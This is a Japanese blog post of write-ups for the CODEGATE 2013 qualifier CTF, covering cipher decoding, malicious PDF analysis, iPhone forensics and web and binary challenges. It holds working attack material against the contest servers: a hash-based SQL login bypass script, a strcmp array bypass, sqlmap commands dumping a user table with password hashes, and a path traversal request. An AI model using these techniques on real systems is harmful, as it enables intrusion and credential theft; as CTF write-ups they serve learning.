CODEGATE2013 Writeups

CODEGATE2013 予選に細々と参加しておりました。
最近忙しすぎて全く勉強する暇がなかったので、かなりしょぼい結果に。

MISC1(100)

ANGELA BENNETT LOGIN UNITED STATES DEPT. OF ATOMIC ENERGY COMMISSION
ログインパスワードは何?

CTFといえば、映画のハッキングネタが定番?
ということで、これもその手の問題でした。
ANGELA BENNETT と ATOMIC ENERGY COMMISSION で検索すると、
"THE NET" という映画に関する記事を見つけることができます。
後は、映画のタイトルもキーワードに入れて辿っていくと、次のようなページにたどり着き、フラッグをゲット。

flag => natoar23ae

MISC2(200)

暗号解読問題。
暗号化処理は、以下のような感じ。

<?
function encode( $input )
{
	$enc_tab = array(
		'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
		'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
		'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
		'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
		'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$',
		'%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=',
		'>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"'
	);

	for( $index = 0 ; $index < strlen($input) ; $index++ ) {
		$var1 |= ord($input{$index}) << $var2; $var2 += 8;

		if( $var2 > 13 ) {
			$var3 = $var1 & 8191;

			if( $var3 > 88 ) { $var1 >>= 13; $var2 -= 13; }
			else { $var3 = $var1 & 16383; $var1 >>= 14; $var2 -= 14; }

			$output .= $enc_tab[$var3 % 91] . $enc_tab[$var3 / 91];
		}
	}

	if( $var2 ) {
		$output .= $enc_tab[$var1 % 91];

		if( $var2 > 7 || $var1 > 90 ) $output .= $enc_tab[$var1 / 91];
	}

	return $output;
}
?>

$var1 がビットのキューになっていて、8ビット(=1バイト=1文字)ずつデータを放り込む。
そして、13ビットずつ(時々14ビット)で区切っている。
14ビットになるのは、取りだした13ビットの数値が 88 以下のとき。
区切ったデータ $var3 を、91による商と剰余で暗号化テーブルの文字に置き換える。


こちらのWriteupでは、ここで情報量が失われていると書いてありますね。
自分も最初はそう思ったんですが、そんなことはなく、次の場合分けをすればOKです。


1. $var3 が 8192 以上の場合は、必ず14ビットである。∵13ビットの最大値は8191である。
2. $var3 が 8192 より小さい場合
2.1 $var3 が88以下の場合、必ず14ビットである。∵$var3 は88以下なので14ビット取りだされているはずである。
2.2 それ以外の場合は13ビットである。


後は、適当にデコード処理を書いてあげればOK。
最後の端数処理はめんどくさいので、省略しました。(どうせ画像かなんかだろうし・・。)

<?php
function decode($data){
  $enc_tab = array(
    'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
    'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
    'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '!', '#', '$',
    '%', '&', '(', ')', '*', '+', ',', '.', '/', ':', ';', '<', '=',
    '>', '?', '@', '[', ']', '^', '_', '`', '{', '|', '}', '~', '"'
  );

  $bit = 0; // ビットカウンタ
  $buf = 0; // 一時バッファ
  $output = ""; // 復号データ

  // メインループ 2文字ずつ区切ってデコードしていく。
  for ( $i = 0; $i < strlen($data); $i+=2 ) {
    // enc_tab から1文字目のインデックスを取得
    $c1 = -1;
    for ( $k = 0; $k < count( $enc_tab ); $k++ ) {
      if ( $enc_tab[$k] == $data{$i} ) {
        $c1 = $k; break;
      }
    }
    if ( $c1 == -1 ) continue;

    // enc_tab から2文字目のインデックスを取得
    if ( strlen($data) <= $i+1 ) break;
    for ( $k = 0; $k < count( $enc_tab ); $k++ ) {
      if ( $enc_tab[$k] == $data{$i+1} ) {
        $c2 = $k; break;
      }
    }

    // 元の var3 を計算
    $c2 *= 91;
    $c = $c1 + $c2;
    $d = $bit;
    if ( $c >= 8192 ) {
      $bit += 14; $buf = $buf | ( ( $c & 16383 ) << $d );
    } else {
      if ( $c <= 88 ) {
        $bit += 14; $buf = $buf | ( ( $c & 16383 ) << $d );
      } else {
        $bit += 13; $buf = $buf | ( ( $c & 8191 ) << $d );
      }
    }

    // 復号化
    while ( $bit > 8 ) {
      $bit -= 8;
      $output .= chr( $buf & 255 );
      $buf >>= 8;
    }
  }
  return $output;
}

復号すると、HTMLが出てきました。面白い。

flag => HahA-LUCKY-Se7eN

MISC4(300)

PDFを解析する問題です。
PDF内に3つのキーワードがあるので、そのキーワードを見つけて答えよ、というもの。
バイナリエディタで見ていると、2つはすぐに見つかります。

2nd_key is combination of strings in three objects (strlen(2nd_key) == 14)
1st_key(nn@LiC!oU$)

1st_key は malicious ですね。
2nd_key は、その直後に並んでいる3つの謎のオブジェクトから作ります。
3rd_key は、埋め込まれた gz から抜き出します。
gz を解答すると、pdf がもう1つ出てきます。
開くと、"Decrypt_me" という alert が出るので、中身を見てみます。
適当に難読化を解いていくと、こんな感じになります。

cipher="673B672B3E663C666F2B37390D362061";
function C0D3G4T3(){
  plain='';
  for(i=0;i<cipher.length;i++,i++)
    plain+=String.fromCharCode(parseInt(0+unescape('x')+cipher.charAt(i)+cipher.charAt(i+1))^81);
  alert(plain.split('').reverse().join(''));
}
C0D3G4T3();

後は、PDFの拡大率が1300%ぐらいになっているので、適当な大きさに戻して、
中央に書かれている暗号をこのJSに突っ込みます。
書き出したJSで実行しても復号化されなかったので、PDFを直接編集して、
cipher を書き変えます。結果、"3rd_key: 4n4ly5i5" という文字列を得ます。

後は、2nd_key のみ。

まず、2つ目のオブジェクト。書き出すと、こんな感じになります。

Tm<
50
7
 0
  50
  446
  44
 4
5
B

これは全部繋げてあげればOK。50 70 50 44 64 44 5B となり、アスキーコードで "PpPDdD[" です。

3つ目のオブジェクトは、"\106_\106"。これはちょっと保留。
4つ目のオブジェクトは、\とかを取り除いて、 "]ile" にします。
問題は "\106_\106" ですが、試しに 106 を16進化すると、j になります。
"PpPDdD[j_j]ile " では、ちょっと変。当然、これは違います。
ここで、3つのキーワードを並べてみます。

nn@LiC!oU$_PpPDdD[j_j]ile_4n4ly5i5

どうやら、"Malicious PDF File Analysis" という感じになりそうですね。
なので、適当に[j_j] の部分を書き変えてやると、フラッグになります。


flag => nn@LiC!oU$_PpPDdD[F_F]ile_4n4ly5i5

追記(2013/03/04)

どうやら、こちらのWriteupを見ると、2nd_key の3つのワードは、それぞれPDFデータだったようですね。
うーん、もっとちゃんとシグネチャを見分けられるようにならなければなぁ、と感じる....
(PKだけではダメだなー。)

FORENSICS100

iPhone のストレージのイメージ?から流出したドキュメントを探す問題。
autopsy を使うと便利です。


まず、入っているiPhoneアプリを確認し、流出が発生しそうなアプリを特定。
DropBoxがあったので、アップロードといえばこれかな?ということでもう少し調査。
ディレクトリをごそごそ辿って適当にファイルの中身を見ていると、
"S-Companysecurity.pdf" というファイル名を見つけます。

これが答えだろうと目星をつけて、後はファイルサイズと送信日時、更新日時を探します。


Dropbox.sqlite に書かれている MODIFIED DATE は、DropBoxでアップロードされた日時。
なので、送信日時はこれになります。
このとき、形式が NS.time なので、 978307200 を加えてから Unix タイムに戻します
参考: http://cpansearch.perl.org/src/LKUNDRAK/Data-Plist-0.100_001/lib/Data/Plist/Foundation/NSDate.pm
sqliteの閲覧には、Oxygen software の SQLite Viewer が便利です。


また、Library/Caches/cache.db も sqlite ファイルですが、
これに書かれている base64 をデコードすると、plist ファイルになります。


この plist に入っている日時の1つが、更新日時になります。
これも、Oxygen Software の Plist Viewer が便利です。


いろんなところで日時データを見つけられるので、どの日時データが当たりなのか、
確実に見つけていく必要があり、大変でした....


flag => 2012-12-27 17:55:54_2012-05-01 17:46:38_S-Companysecurity.pdf_2.1MB

WEB100

Webサイトのソースが渡されるので、それを見ながら攻撃を考えます。
ログイン時の処理には、

<?php
	$ps = hash("whirlpool",$ps, true);

	$result = mysql_query("select * from users where user_id='$id' and user_ps='$ps'");

とあるので、ハッシュインジェクションします。
このとき、$ps が '||'1/'[oO][rR]'[1-9]/ になればログインに成功しますね。
でも、これだと結構時間がかかるので、 '=' を使います。
参考: untitled: LEET MORE CTF 2010 write up - Oh Those Admins!

<?php
  $valids = Array( "'='");
  while(1) {
    $hsh = hash( 'whirlpool', $i, true );
    foreach( $valids as $valid ) {
      if ( strpos( $hsh, $valid ) !== FALSE ) {
        $url = "http://58.229.122.16:31940/site/login_check.php";
        $data = array( 'user_id' => 'admin', 'password' => $i );
        $options = array('http'=>array('method'=>'POST','content'=>http_build_query($data)));
        $contents = file_get_contents($url,false,stream_context_create($options));
        print $contents;
        print "\n\n";
      }
    }
    $i = getRandomString(20);
  }
dolphin@bt:~/codegate2013/1$ php check.php
hello, admin<br />wow!! flag is... "DAER0NG_DAER0NG_APPLE_TR33"

flag => DAER0NG_DAER0NG_APPLE_TR33

WEB200

ログイン問題。これもソースが渡されます。

<?php
	if (isset($_POST["id"]) && isset($_POST["ps"])) {
		$password = make_otp($_POST["id"]);
		sleep(3); // do not bruteforce

		if (strcmp($password, $_POST["ps"]) == 0) {

ログイン時にワンタイムパスワードを使用していますが、
strcmp を使っているので、パスワードにArrayを渡せばOKです。
id=127.0.0.1&ps[]=
参考: http://eindbazen.net/2012/09/csaw-2012-web-600/

flag => I_L1K3_caitlyn_LOLOL

WEB300

Dear Sherlock.

Our company is hacked. We must catch a criminal !
We found a clue 'the grey' in investigation, and we detected this site through the clue.

http://xx.xx.xx.xx:xxxx

I guess it seems hacker group's hideout.
But...I can't find any clues to the eye.

I need your help, Sherlock.
We must figure out when, who asks this.

From Hound Co.,Ltd. CEO K.B.

Certification Form -> NAME(YYYY-MM-DD)

これはWriteupではなくて反省(と、他の方のWriteupの再現)。
WEB300では、よく分からないサイトが渡される。
怪しいjsがあるので見てみると、サイトのログインページのURLが書かれている。
ログインページはSQLインジェクションができそうもない感じ。
競技中はここで詰まってしまいました。
いくつかのWriteupを見てみると、サイト上のコンタクトフォームからインジェクションできるとのこと。
参考サイト: pnuts.tk


あれ・・?コンタクトフォームはいろいろ試したけど、
インジェクションが成功したかどうか確認できないような・・。
とか思っていました。バカでした。


どのWriteupも、具体的にどういうクエリでインジェクションを行ったのか書かれていないので、
確認がてら、sqlmap というインジェクションツールを使ってみました。
(むしろ、このツールの存在を知らずによく今まで自分はCTFをやってきたなという感じがする....)


このツール、SQLインジェクションできそうかどうかを勝手に判別してくれます。
自分でいろいろクエリを試す必要がない。無駄なクエリを飛ばさない分、サーバにも優しい。素敵。

./sqlmap.py -u "http://xxx.xxx.xxx.xxx:xxxx/contact.php" --data "your_name=a&your_email=a@a.com&question=1&your_message=a&contact_submitted=send" --delay 1

このように実行すると、勝手にいろんなDBMSを想定して脆弱性を探してくれるようです。
--delay 1 とか入れておいた方が、サーバに負荷かからなくてよいかも。



実行すると、実行結果が淡々と返ってきます。
ここでやっと、time-based blind injectionの仕組みが分かりました。(さっさとググればよかった。)
なるほど、確かに question がインジェクション可能のようです。
早速、p=question を指定して、データベースを解析しましょ。

./sqlmap.py -u "http://xxx.xxx.xxx.xxx:xxxx/contact.php" --data "your_name=a&your_email=a@a.com&question=1&your_message=a&contact_submitted=send" --delay 1 -p question --dbs


仕組み上、結構攻撃に時間がかかりますが、その間に他の問題を解いてればいい感じですね。

データベース一覧が出ました。
今度は the_grey のテーブル一覧を調べてみましょう。

./sqlmap.py -u "http://xxx.xxx.xxx.xxx:xxxx/contact.php" --data "your_name=a&your_email=a@a.com&question=1&your_message=a&contact_submitted=send" --delay 1 -p question --tables -D the_grey



テーブル一覧が出ました。contact の中身は、おっそろしいことになってるんでしょうね。。
では早速、member テーブルの中身を拝見してみましょう。

./sqlmap.py -u "http://xxx.xxx.xxx.xxx:xxxx/contact.php" --data "your_name=a&your_email=a@a.com&question=1&your_message=a&contact_submitted=send" --delay 1 -p question -D the_grey -T member --dump



テーブルデータが抜けました。一部、おかしなデータが混じっていますが、
あまり問題ではない範囲。そして驚くことに、パスワードのハッシュ解析までしてくれてる。。
解析できていないものについても、1つだけOnline Hash Crack で分かります。
id4: killer, id3: 不明, id1: 不明。
とりあえず分かる範囲のアカウントでログインしてみると、マイページが出現します。



答えは多分、Edward Van Con(2013-02-07) かな?

WEB400

これはWriteupではなくて反省。
WEB400では、算数の問題に解答して得点を3000点稼げというもの。
ただし、問題は4問しかなく、全部合わせても700点にしかならない。
1回解いた問題は、already solved! となって、得点させてもらえない。


自分は、ずっとログインIDでSQLインジェクションしていました。
テーブル構造とかデータとか諸々全部抜いた上で、予想を立てました。


1. 問題が解かれているかどうかの判定は、prob_ok テーブルを参照。
2. アカウントは、user テーブルで管理。
3. 得点は、userpoint テーブルで管理。
問題が解かれているかどうかの判定をすり抜けられる && 問題の得点時に加点される && ログインできる
上記を満たすようなインジェクションを行わないといけない、と予想。
もう少し論理的に考えれば分かったことなんですが、
ログインでのSELECT文のWHEREを回避できて、かつ、
既に解いていないかの判定でのSELECT文のWHEREを回避できて、かつ、
解答でのINSERT文を正常実行できて、かつ、
加点でのUPDATE文を正常実行できるような文というのは、ちょっと無理がある。
何故なら、INSERT文では、括弧やカンマが必要になるから....


それで、Writeupを見ると、どうやら問題の解答時の処理に脆弱性があるみたいなんですね。
解答は、auth.php?p=問題番号&k=解答内容 みたいな感じで送信されます。
このとき、解答内容にインジェクションが可能なのだとか。


ちょっと待てー!それは競技中に試したけど、インジェクションできなかったぞ!!


と思って、Writeupの内容を試してみると、確かにインジェクションできる。
自分が試して失敗したインジェクションは、k=777777+0 のようなもの。
どうやら、+ (プラス記号)はエスケープされている模様・・・?
い、嫌らしい・・・というより、そんなピンポイントなエスケープがされているとは....
こちらの勘違い・手違いでした。しくしく。。
非常にもったいないことをした1問でした。


参考: pnuts.tk

WEB500

ゲームのシミュレータがあるので、GMという名前でプレイしてみろ、という問題。
GMという名前を使うと、エラーではじかれて怒られます。
よく見ると、怪しい js ファイルがあるので、調べてみます。
読みやすく整形していくと、こんな感じになります。

function load_page(p){
  var page = "home.html";
  switch (p) {
    case 1 : page="home.html"; break;
    case 2 : page="introduce.html"; break;
    case 3 : page="get_tag.html"; break;
  }
  window.location.href="index.php?p="+page+"&s="+calcSHA1(page+"Ace in the Hole");
}

これでハッシュの計算方法が分かったので、index.php 等、各ページの php を index.php を使って見ていきます。
index.php で開くと、ソースが表示されます。
すると、シミュレーション情報のデータが、
sqlite として "/var/game_db/gamesim_$name.db" に保存されていることが分かります。
GMのデータベースファイルなら、"/var/game_db/gamesim_GM.db" ですね。
後は、同じように index.php を使って中身を見てやります。
場所は、1個ずつ階層をずらしていくことで見つけました。
index.php?p=../../../var/game_db/gamesim_GM.db&s=858497733a79dbc8bddd5f3f6b0fa8d0adf70049
sqlite 形式なので、適当に読み込んであげれば、メモにフラッグが書いてあります。
pecl install sqlite して、php_sqlite.so を読み込んで、問題サイトと同じコードで読み出せばOK。
自分は pecl install sqlite がうまくいかなかったので、直接ソースからインストールしました。
参考: pxt | yumで入れたPHP5でsqliteを使う ~phpize, pecl, sqlite~

# wget http://pecl.php.net/get/SQLite-1.0.3.tgz
# tar zxvf SQLite-1.0.3.tgz
# cd SQLite-1.0.3
# phpize
# ./configure
# make
# vim sqlite.c
edit syntax errors.
# make
# make install
<?php                                                                                                                      
  dl('sqlite.so');

  $db = sqlite_open( '/home/dolphin/ctf/codegate2013/gamesim_GM.sqlite' );
  $row = sqlite_fetch_array(sqlite_query($db,"select * from status left join memo on status.time = memo.time order by status.time desc limit 1;"));

  print gzuncompress($row['memo.memo']);
[dolphin@siro]$ php hoge.php 
wow! key is "W3LC0M3_T0_L0L0L0L"

flag => W3LC0M3_T0_L0L0L0L

BIN100

起動すると、何やらキーコードを入力しろと言われます。
.NET 製のアプリケーションなので、reflector で逆コンパイル
コードを適当に書き出して、以下のコードを実行させればフラッグが表示されます。
(フラッグを表示する処理に、こちらの入力が含まれていないので、ifを飛ばせばOK。)

        ' 16文字じゃないといけないので、とりあえず16文字入れる。
        If (Me.r.Text.Length <> &H10) Then
            Dim str3 As String = Me.a.TransForm_S
            MessageBox.Show(Me.a.TransForm_B(str3))
        End If

        If (Data.Length = &H10) Then
            ' この If 文を飛ばす。
            ' If (Me.xorToString(AESCrypt.Encrypt(Me.r.Text, KeyValue)) = Me.lowkey) Then
                MessageBox.Show(AESCrypt.Decrypt(Me.StringToXOR(Me.a.ByteTostring_t(Me.c)), KeyValue))
            ' Else
            '     MessageBox.Show(("Do you know ?  " & AESCrypt.Decrypt(Me.StringToXOR(Me.a.ByteTostring_t(Me.d)), KeyValue)))
            ' End If
        End If

flag => code9ate2013 Start

その他

ぼっち参戦。Web400解けなかったのは悔しい。解き方が気になる気になる。
体力的な問題で、VulnやBinaryやForensicsに手があんまり回らず。しょうがない。